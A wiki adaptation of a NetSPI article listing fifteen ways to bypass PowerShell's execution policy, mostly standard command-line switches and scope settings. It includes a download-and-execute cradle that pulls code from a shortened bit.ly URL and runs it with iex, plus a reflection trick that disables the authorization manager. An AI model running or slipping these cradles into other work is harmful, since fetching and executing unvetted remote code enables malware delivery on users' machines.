15 Ways to Bypass the PowerShell Execution Policy

Author: Scott Sutherland
Source: NetSPI

□□ What is the PowerShell Execution Policy?

The execution policy determines what type of PowerShell scripts (if any) can run. By default, it's set to `Restricted`, which blocks all scripts. It's meant to prevent accidental execution, not as a true security control — which is why it’s easy to bypass.

□□ Why Bypass It?

- PowerShell is native to Windows
- Maintenance of a Server Requiring .PS1 scripts created by another organization.
- Can interact with the Windows API
- Can run in memory (no disk writes)
- Often trusted by whitelisting tools
- Used in many open-source pentest frameworks

□□ View Current Execution Policy

```
Get-ExecutionPolicy
Get-ExecutionPolicy -List | Format-Table -AutoSize
```

□□ Test Script Example

```
Write-Host "My voice is my passport, verify me."
```

□□ 15 Ways to Bypass Execution Policy

1. **Paste in Interactive Console**
   Directly run the script in PowerShell. No config changes or file writes.
2. **Echo to PowerShell**

   ```
   echo Write-Host "My voice is my passport" | powershell -noprofile -
   ```

3. **Pipe File via Type/Get-Content**

   ```
   Get-Content .\runme.ps1 | powershell -noprofile -
   ```

   ```
   type .\runme.ps1 | powershell -noprofile -
   ```

4. **Download + Invoke-Expression**

   ```
   powershell -nop -c "iex(New-Object
   Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"
   ```

5. **Use -Command Switch**

```
powershell -command "Write-Host 'Hello'"
```

6. **Use -EncodedCommand**

```
$cmd = "Write-Host 'Hello'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
[Convert]::ToBase64String($bytes)
```

Then run with:
`powershell -EncodedCommand <base64>`

7. **Invoke-Command**

```
Invoke-Command -ScriptBlock {Write-Host "Hello"}
```

Can also pull policy from a remote host:

```
Invoke-Command -ComputerName server -ScriptBlock {Get-
ExecutionPolicy} | Set-ExecutionPolicy -Force
```

8. **Invoke-Expression (iex)**

```
Get-Content .\runme.ps1 | Invoke-Expression
```

or

```
gc .\runme.ps1 | iex
```

9. **Use -ExecutionPolicy Bypass**

```
powershell -ExecutionPolicy Bypass -File .\runme.ps1
```

10. **Use -ExecutionPolicy Unrestricted**

```
powershell -ExecutionPolicy UnRestricted -File .\runme.ps1
```

11. **Use -ExecutionPolicy RemoteSigned**

```
powershell -ExecutionPolicy RemoteSigned -File .\runme.ps1
```

12. **Swap AuthorizationManager (Temporary)**

```
function Disable-ExecutionPolicy {
  ($ctx =
$executioncontext.gettype().getfield("_context","nonpublic,instance")
.getvalue(

$executioncontext)).gettype().getfield("_authorizationManager","nonpu
blic,instance").setvalue(
  $ctx, (New-Object System.Management.Automation.AuthorizationManager
"Microsoft.PowerShell"))
}
Disable-ExecutionPolicy
```

13. **Set Policy for Process**

```
Set-ExecutionPolicy Bypass -Scope Process
```

Only for this session.

14. **Set Policy for Current User**

```
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
```

15. **Edit Registry for Current User**

Modify:
`HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell`

Add/modify string value `ExecutionPolicy = Unrestricted`

Wrap Up

PowerShell’s execution policy is a soft restriction — not a security boundary. Microsoft even provides native ways to bypass it. Use these techniques for legitimate automation, testing, and administration.

Adapted from NetSPI — original blog post

Revision #9
Created 2025-05-28 16:21:47 UTC by joliveira
Updated 2025-05-28 16:33:38 UTC by joliveira